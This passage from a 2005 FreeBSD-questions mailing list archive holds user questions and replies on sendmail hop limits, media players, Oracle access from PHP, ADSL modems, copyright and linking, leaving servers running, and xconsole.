192.168.1.192 ([192.168.1.192])j16BCMUk022447 for ; Sun, 6 Feb 2005 21:42:22 +1030 (CST) (envelope-from ws+freebsd-questions@au.dyndns.ws) From: Wayne Sierke To: freebsd-questions@freebsd.org Content-Type: text/plain Date: Sun, 06 Feb 2005 21:42:21 +1030 Message-Id: <1107688341.676.34.camel@au.dyndns.ws> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 192.168.1.142 X-Scanned-By: SpamAssassin 3.000001(2004-10-22) X-Scanned-By: F-Prot X-Scanned-By: ClamAV X-Spam-Score: -2.4 () ALL_TRUSTED Subject: Sendmail rejects incoming messages with large number of 'received' headers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:12:27 -0000 My FreeBSD mail server includes a getmail/sendmail/maildrop combination which occasionally fails when getmail retrieves a message via POP which has a large number of 'received' headers which result in it being rejected by sendmail. Is there some way of convincing sendmail to accept these messages, other than arbitrarily increasing MaxHopCount? I have applied the 'no_delivered_to' and 'no_received' options to getmail to suppress its additional header insertion but the messages in question already have enough headers (from having been caught up in a loop somewhere on their way to the external POP server) to cause sendmail to reject them. Currently I am forced to delete the message manually from the POP server. Surprisingly I haven't been able to locate any details about how to deal with this situation. All the info I can find either simply re-states the sendmail doc re MaxHopCount "The maximum number of times a message is allowed to ``hop'' before we decide it is in a loop." or discusses a local mis-configuration issue resulting in a local mail delivery loop. It makes me wonder whether I'm missing something quite obvious? Thanks, Wayne From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:18:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 685CF16A4CE for ; Sun, 6 Feb 2005 11:18:33 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7B78F43D5D for ; Sun, 6 Feb 2005 11:18:32 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16BISGf002348 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 03:18:28 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16BIRjM002346; Sun, 6 Feb 2005 03:18:27 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 03:18:27 -0800 From: "Loren M. Lang" To: Gary Kline Message-ID: <20050206111827.GR8619@alzatex.com> References: <20050205065704.GJ8619@alzatex.com> <20050205174638.GA637@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050205174638.GA637@thought.org> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: Gert Cuykens cc: freebsd-questions@freebsd.org Subject: Re: media players X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:18:33 -0000 On Sat, Feb 05, 2005 at 09:46:38AM -0800, Gary Kline wrote: > On Fri, Feb 04, 2005 at 10:57:04PM -0800, Loren M. Lang wrote: > > On Thu, Feb 03, 2005 at 06:15:18PM +0100, Gert Cuykens wrote: > > > I am looking for a media player that supports the oss sound driver, > > > easy to install codex, and uses the gtk2 libs ? > > > > xine is by far my favorite media app and has the best support for > > playing dvds with menus. It can use win32 codecs pretty well too. It > > doesn't use gtk2, but still has a very nice gui. mplayer is also pretty > > good, it can play dvds, but no real menu support that I've seen and > > win32 codecs also work. It has a gtk2 gui, but I think it's horrible. > > I use just it's plain window interface and just use keyboard shortcuts > > to control it. > > > > Can you (or anyone!) clue me in on how xine works? > Apps like RealPlayer just-work{TM}; mplayer has no > Quit button; xine looks lke something from Pluto. > > (Does xine work with links? netscapr7? ) Just hit q in mplayer to quit. Plain old mplayer doesn't have any kind of gui besides the video window and is completely controlled through the keyboard and/or command-line options. There is a gui version called gmplayer, but I really don't like it. It's just too buggy. xine works like pretty much any other video player program, but some of the skins I think are harder to identify the buttons. My favorite skin is xinetic, which is usually the default. Try man xine and man mplayer for more info. > > gary > > > > -- > Gary Kline kline@thought.org www.thought.org Public service Unix -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:19:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5E93216A4CE for ; Sun, 6 Feb 2005 11:19:43 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id C6A2B43D3F for ; Sun, 6 Feb 2005 11:19:42 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id F2D071C0009E for ; Sun, 6 Feb 2005 12:19:41 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 922411C0009D for ; Sun, 6 Feb 2005 12:19:41 +0100 (CET) X-ME-UUID: 20050206111941598.922411C0009D@mwinf1109.wanadoo.fr Date: Sun, 6 Feb 2005 12:19:41 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1401586003.20050206121941@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <1258430214.20050206025603@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:19:43 -0000 Ted Mittelstaedt writes: TM> This is a bit of twisting of the definition of "site that is public" TM> in my opinion. The key distinction is between a venue to which access must be explicitly requested and one that a person can visit without any formalities. Asking people to register or subscribe in order to post to a forum is requiring an explicit request for access from participants. This creates a private venue with access limited only to those who have gone through the formalities. And it creates the expectation for each participant that only other participants who have completed the same formalities will have access to the venue. Thus, it is not public. TM> Suppose I setup a webserver at example.com that will only respond TM> to http://www.example.com/12345678qwerty/ and will ignore any other HTTP TM> requests (such as to www.example.com, TM> www.example.com/index.html, etc. TM> TM> I think it would be incredibly difficult to argue that this is a TM> public server in any way. The trailing /12345678qwerty/ is in TM> effect an access password to the material on the website. Just TM> because there's no real .htaccess or some such real HTTP password TM> authentication on the site, doesen't make it a public site. An TM> access password is a password, regardless of whether delivered as a TM> trailing URL or in an HTTP-auth request. I use this method myself, but one must be careful not to give the URL to search engines and not to link to the URL from anywhere else. When I provide content to clients this way, I point out to them that the URL is known to nobody except them, and will thus remain reasonably private unless they point someone or something else to the URL (which is their prerogative). TM> Fortunately, caselaw so far has held that there's no requirement to TM> ask for permission to link, see: TM> TM> http://www.gigalaw.com/library/ticketmaster-tickets-2000-03-27.html TM> TM> So at least the courts aren't idiots yet, here. This has to do with the "moral rights" of copyright holders to control the manner in which their work is presented. More practically, it has to do with the wish of some copyright owners to provide their content for viewing only under certain conditions beneficial to themselves (such as on a specific page with advertising). I think that linking should be permitted by default, unless the owner of a site specifically prohibits it. This allows maximum flexibility while still affording protection to people who don't want deep links into their content. I think that search engines should respect exclusion policies as a matter of courtesy. They should also be held to the terms of use on a site, just as human beings are. On my site, I prohibit deep links, except for search engines under certain conditions. I don't enforce this much, except on rare occasions when someone is pulling just an image off my site, wasting my bandwidth and effectively pirating the image (but whether or not such linking constitutes infringement is yet another can of worms). TM> And of course including another person's site in a frameset of yours TM> is definitely illegal without permission, as it is appropriating TM> another person's copyrighted material for your own use, because TM> doing this makes their material part of your site. I agree, but it's still a gray area as far as jurisprudence is concerned. The trend seems to be in favor of your viewpoint. TM> No, in this I think he did. It's one thing to download a copyrighted TM> piece of material, the copyright violation occurs when the copyrighted TM> piece is actually played on the destination computer, cd player, etc. TM> because only at that instant of use does multiple copies of the material TM> come into existence and the original creator is damaged. I dunno. Traditionally the act of copying itself has constituted infringement, irrespective of whether or not the copy was used. Of course, strict enforcement of that notion raises a lot of technical problems in today's world. TM> If you based copyright violations purely on the idea of making it TM> illegal for someone to posses a copy of the material, then the ISP TM> that owns the proxy server now becomes liable. And of course, TM> archival copies to backup media, etc. also become illegal. That's exactly what the MPAA and RIAA would like to do. TM> You prosecute people for actually stealing the jewels, TM> not for just having the lockpick, crowbar, skimask and gloves. It's hard to prove _use_ of copied material, though, because that is ephemeral and may leave no traces. It's much easier to prove the existence of a copy. Similarly, corporate copyright holders want to make the mere possession of means to copy illegal, since it is easier to prove that than it is to prove that they are actually being used for infringing activities. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:23:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 66CD716A4CE for ; Sun, 6 Feb 2005 11:23:19 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1DE7D43D55 for ; Sun, 6 Feb 2005 11:23:18 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16BNHGf002385 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 03:23:17 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16BNGfb002383; Sun, 6 Feb 2005 03:23:16 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 03:23:16 -0800 From: "Loren M. Lang" To: Roberto Nunnari Message-ID: <20050206112315.GS8619@alzatex.com> References: <42028A12.7070007@supsi.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <42028A12.7070007@supsi.ch> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: access oracle from php (mod_php4) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:23:19 -0000 On Thu, Feb 03, 2005 at 09:31:14PM +0100, Roberto Nunnari wrote: > Hi. > > I need to access a oracle 9i database installed on a remote > machine from a php script (www/mod_php4) > > I already can access mysql databases.. but not oracle.. I'm using a client app to access an oracle 8i database myself. I'm using unixODBC on freebsd which the oracle 9i libraries from the oracle website and the oracle driver from www.easysoft.com which allows unixodbc apps to use the oracle driver. I'm not using mod_php4, but I'm pretty sure it can use unixodbc once that's setup. There is allow a native oracle driver for php, but I don't know anything about it. My app -> unixODBC -> EasySoft Oracle driver -> Oracle libs -> Oracle server > > web.dti.supsi.ch# uname -a > FreeBSD web.dti.supsi.ch 5.3-RELEASE-p5 FreeBSD 5.3-RELEASE-p5 #0: Wed > Feb 2 16:33:24 CET 2005 > root@web.dti.supsi.ch:/usr/obj/usr/src/sys/WEB i386 > > Could any kind soul help me? > > Thank you! > -- > Roberto Nunnari -software engineer- > mailto:roberto.nunnari@supsi.ch > Scuola Universitaria Professionale della Svizzera Italiana > Dipartimento Tecnologie Innovative > http://www.dti.supsi.ch > SUPSI-DTI > Via Cantonale tel: +41-91-6108561 > 6928 Manno """ fax: +41-91-6108570 > Switzerland (o o) > =======================oOO==(_)==OOo======================== > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:24:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5E20D16A4CE for ; Sun, 6 Feb 2005 11:24:21 +0000 (GMT) Received: from smtp-vbr4.xs4all.nl (smtp-vbr4.xs4all.nl [194.109.24.24]) by mx1.FreeBSD.org (Postfix) with ESMTP id A8ADA43D45 for ; Sun, 6 Feb 2005 11:24:20 +0000 (GMT) (envelope-from rsmith@xs4all.nl) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr4.xs4all.nl (8.12.11/8.12.11) with ESMTP id j16BOJ2a071183; Sun, 6 Feb 2005 12:24:19 +0100 (CET) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id 8A52F6178; Sun, 6 Feb 2005 12:24:47 +0100 (CET) Date: Sun, 6 Feb 2005 12:24:47 +0100 From: Roland Smith To: Gosha Sh Message-ID: <20050206112447.GA86174@slackbox.xs4all.nl> Mail-Followup-To: Gosha Sh , freebsd-questions@freebsd.org References: <20050206103933.1905.qmail@web61305.mail.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="ZPt4rx8FFjLCG7dd" Content-Disposition: inline In-Reply-To: <20050206103933.1905.qmail@web61305.mail.yahoo.com> User-Agent: Mutt/1.4.2.1i X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! Organization: Me, organized? X-Virus-Scanned: by XS4ALL Virus Scanner cc: freebsd-questions@freebsd.org Subject: Re: zyxel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:24:21 -0000 --ZPt4rx8FFjLCG7dd Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Feb 06, 2005 at 02:39:33AM -0800, Gosha Sh wrote: > Hello! > i have Zyxel omni adsl usb ee(Alcatel chipset),but it works only under > linux or windows... Better get an adsl router with an ethernet connection instead of a USB one. You won't need special drivers for it. > but i need it working under FreeBSD!!!I've searched google and > freebsd.org,but i didn't find anything related this aspect.Drivers > under linux were created 3 years ago,and i wonder why there is no > support under freebsd....if you know some information about > it,please,answer! There is a linux driver for the Zyxel 630-11 and 630-13 ADSL USB Modem on SourceForge: http://sourceforge.net/projects/zyxel630-11 If this modem is compatible to the one you have, maybe the driver can be ported (rewritten) to FreeBSD. But IMHO getting a ADSL router with an ethernet port is a much less troublesome alternative. Roland --=20 R.F. Smith /"\ ASCII Ribbon Campaign r s m i t h @ x s 4 a l l . n l \ / No HTML/RTF in e-mail http://www.xs4all.nl/~rsmith/ X No Word docs in e-mail public key: http://www.keyserver.net / \ Respect for open standards --ZPt4rx8FFjLCG7dd Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCBf5/EnfvsMMhpyURAhC8AJ4zn4Gh4FrSDIyefTkl2c6uHp1DSACeP379 o0FuCazBN3CeXCS1zN09X34= =UrJA -----END PGP SIGNATURE----- --ZPt4rx8FFjLCG7dd-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:25:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E009116A4CE for ; Sun, 6 Feb 2005 11:25:08 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3490643D49 for ; Sun, 6 Feb 2005 11:25:08 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id DE1801C00090 for ; Sun, 6 Feb 2005 12:25:06 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1102.wanadoo.fr (SMTP Server) with ESMTP id B7C641C00084 for ; Sun, 6 Feb 2005 12:25:06 +0100 (CET) X-ME-UUID: 20050206112506752.B7C641C00084@mwinf1102.wanadoo.fr Date: Sun, 6 Feb 2005 12:24:53 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1088851878.20050206122453@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502051745.25937.hindrich@worldchat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:25:09 -0000 Ted Mittelstaedt writes: TM> In a clean room or positive pressure network room, where there is TM> an extremely low level of dust, off-the-shelf computer fans will TM> last many years longer than fans in a typical home PC. What about filters? On my current FreeBSD server (not in a clean room, alas!), the fans that I installed have washable plastic filters, which removes part of the dust. I'd love to find disposable filters that capture more dust and can simply be tossed at regular intervals. Ideally, they wouldn't interfere with airflow too much, but I realize that catching all dust and maintaining airflow are almost mutually exclusive. Currently I have two 8-cm fans blowing directly past the disk drives, in order to keep them as cool as possible (not that the drives are that busy, but I'm trying to be prudent). TM> For PC's left on for long periods, they have a different problem TM> because disk drives that spin at full speed continuiously (as TM> server drives do, servers have power saving disabled on their TM> drives of course for obvious reasons) the disk will eventually TM> overheat in just about all the garden-variety case designs. TM> (you can fix this yourself of course, by adding more fans to TM> the cases) Once the drive overheats the lubrication migrates TM> out of the bearings and if the drive is turned off for more TM> than 6-8 hours, it cools down enough to the point that the drive TM> will never spin up again. Interesting! Have you actually had this happen? I've had drives fail on restart but not because they wouldn't spin up (as far as I know). I've had drives fail very quickly when I've packed too many of them into a single case (as in weeks or months). We needed the additional space and we were lucky to get the drives--asking for more fans or a better case or anything like that would have been an exercise in futility. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:27:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8B4EA16A4CE for ; Sun, 6 Feb 2005 11:27:19 +0000 (GMT) Received: from smtp1.bahnhof.se (smtp1.bahnhof.se [213.80.101.11]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE9A743D1F for ; Sun, 6 Feb 2005 11:27:18 +0000 (GMT) (envelope-from mark.rowlands@mypost.se) Received: from mfilter1.bahnhof.se (mail.bahnhof.se [213.136.33.1]) by re-injector-s1.bahnhof.se (Postfix) with ESMTP id 266B71FC9C6; Sun, 6 Feb 2005 12:27:22 +0100 (CET) Received: from localhost (mfilter1.local [127.0.0.1]) by re-injector1.bahnhof.se (Postfix) with ESMTP id 7E0DB129123; Sun, 6 Feb 2005 12:27:17 +0100 (CET) Received: from smtp5.bahnhof.se ([213.136.33.1]) by localhost (mfilter1.bahnhof.se [10.0.1.21]) (amavisd-new, port 10024) with ESMTP id 25191-01; Sun, 6 Feb 2005 12:27:17 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se (81-170-150-191.bahnhofbredband.net [81.170.150.191]) by smtp5.bahnhof.se (Postfix) with ESMTP id 475511734A3; Sun, 6 Feb 2005 12:27:16 +0100 (CET) Received: from localhost (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id 8B7E8AC80E; Sun, 6 Feb 2005 12:27:03 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se ([127.0.0.1]) by localhost (pcmarpxy.mwrwin2k.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 27409-07; Sun, 6 Feb 2005 12:27:02 +0100 (CET) Received: from localhost.mwrwin2k.se (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id 73BA2AC80B; Sun, 6 Feb 2005 12:27:02 +0100 (CET) From: Mark Rowlands To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 12:26:47 +0100 User-Agent: KMail/1.7.2 References: <200502051745.25937.hindrich@worldchat.com> <200502052246.57343.ken_jennings@bellsouth.net> <15010522197.20050206115945@wanadoo.fr> In-Reply-To: <15010522197.20050206115945@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061226.58950.mark.rowlands@mypost.se> X-Virus-Scanned: amavisd-new at bahnhof.se cc: Anthony Atkielski Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mark.rowlands@mypost.se List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:27:19 -0000 > > My FreeBSD server runs continuously because it has to: it holds my Web > site, my e-mail server, my DNS server, my NTP server, etc. The other > machines run continuously because it's more convenient and because I > worry about machines not coming back up again if I power-cycle them. > my machines run continuously 'cause I'm just to lazy too go and switch em off. I am however noticing an increasing tendency for modern hi-speed ata drives to fail at around warranty date + x for increasingly small values of x which cause me to rethink my laziness From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:28:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C467916A4CE for ; Sun, 6 Feb 2005 11:28:19 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0B5D143D48 for ; Sun, 6 Feb 2005 11:28:19 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16BSFGf002431 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 6 Feb 2005 03:28:15 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16BSEHI002429; Sun, 6 Feb 2005 03:28:14 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 03:28:14 -0800 From: "Loren M. Lang" To: John Message-ID: <20050206112814.GT8619@alzatex.com> References: <200502041201.06478.FreeBSD@insightbb.com> <20050205105134.GL8619@alzatex.com> <20050205104019.E47038@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050205104019.E47038@starfire.mn.org> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: Steven Friedrich cc: freebsd-questions@freebsd.org Subject: Re: Within X, how can I see console messages? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:28:19 -0000 On Sat, Feb 05, 2005 at 10:40:19AM -0600, John wrote: > On Sat, Feb 05, 2005 at 02:51:34AM -0800, Loren M. Lang wrote: > > On Fri, Feb 04, 2005 at 12:01:06PM -0500, Steven Friedrich wrote: > > > I know I can Control-Alt-F1 to go back to the console, but is there a way to > > > see these messages in an xterm or something? > > > > In addition to xconsole, there is a command dmesg which outputs the last > > 4k of messages. I run it if I suspect a problem and didn't have > > xconsole running. dmesg|tail helps limit the amount of messages. > > OK - I have the opposite problem. I have xconsole being started > by xdm, which I like - that way I have the console messages visible > even if no-one is logged in, and that's good. Edit the xdm config files in /usr/X11R6/lib/X11/xdm which deal with xdm loggin in and out to kill xconsole before it logs the user in. There is a script in there that is run when the server start, a user logs in, and out, etc. Then if you need xconsole in kde, you can start it on your own and kde will manage running it on every login. > > My problem is that kde notices that I have an xconsole, and wants > to start one on it's own when I log in. The one xdm starts is > persistent, though, so when kde tries to start it, too, and I always > get one "xconsole <2>" that says "Console log for "[host] twice. > > I'm using kde 3.3.2 and I don't remember this happening with > some previous versions. > > I wasn't going to bug anyone, as everything works ok, and this is > really just a minor annoyance, but since the subject of > xconsole came up, I thought I'd ask. > -- > > John Lind > john@starfire.MN.ORG -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:53:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8E4CC16A4CE for ; Sun, 6 Feb 2005 11:53:17 +0000 (GMT) Received: from ptb-relay03.plus.net (ptb-relay03.plus.net [212.159.14.214]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4303A43D2D for ; Sun, 6 Feb 2005 11:53:17 +0000 (GMT) (envelope-from ian@codepad.net) Received: from [80.229.159.44] (helo=hercules.codepad.net) by ptb-relay03.plus.net with esmtp (Exim) id 1CxlH9-000PY4-6H for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 12:12:27 +0000 From: Xian To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 11:53:13 +0000 User-Agent: KMail/1.7 References: <200502051745.25937.hindrich@worldchat.com> <20050206013000.GB49637@wantadilla.lemis.com> In-Reply-To: <20050206013000.GB49637@wantadilla.lemis.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061153.13448.ian@codepad.net> Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 11:53:17 -0000 On Sunday 06 February 2005 01:30, Greg 'groggy' Lehey wrote: > If you turn it off, you should check /etc/crontab and decide > when to perform the nightly maintenance. I turn my computer off over night so I can sleep. This would mean missing the cron stuff but since most of it is done by periodic, I have a script that is started on boot that checks to see if the periodic stuff has been done in the last day, if not it does it and switches the computer off afterwards. Combined with a magic packet every morning from another machine that runs 24/7, It gets all the jobs done and servers as an alarm clock :-) -- /Xian "You cannot shake hands with a clenched fist" Golda Meir From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 11:53:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 75CB816A4CE for ; Sun, 6 Feb 2005 11:53:27 +0000 (GMT) Received: from 163.com (smtp.163.com [202.108.44.212]) by mx1.FreeBSD.org (Postfix) with SMTP id 32A9643D41 for ; Sun, 6 Feb 2005 11:53:26 +0000 (GMT) (envelope-from abbish@163.com) Received: from jedunet (unknown [221.217.90.91]) by smtp4 (Coremail) with SMTP id H4BnxB4FBkLc3WwC.1 for ; Sun, 06 Feb 2005 19:53:02 +0800 (CST) X-Originating-IP: [221.217.90.91] Date: Sun, 6 Feb 2005 19:53:09 +0800 From: "abbish" To: 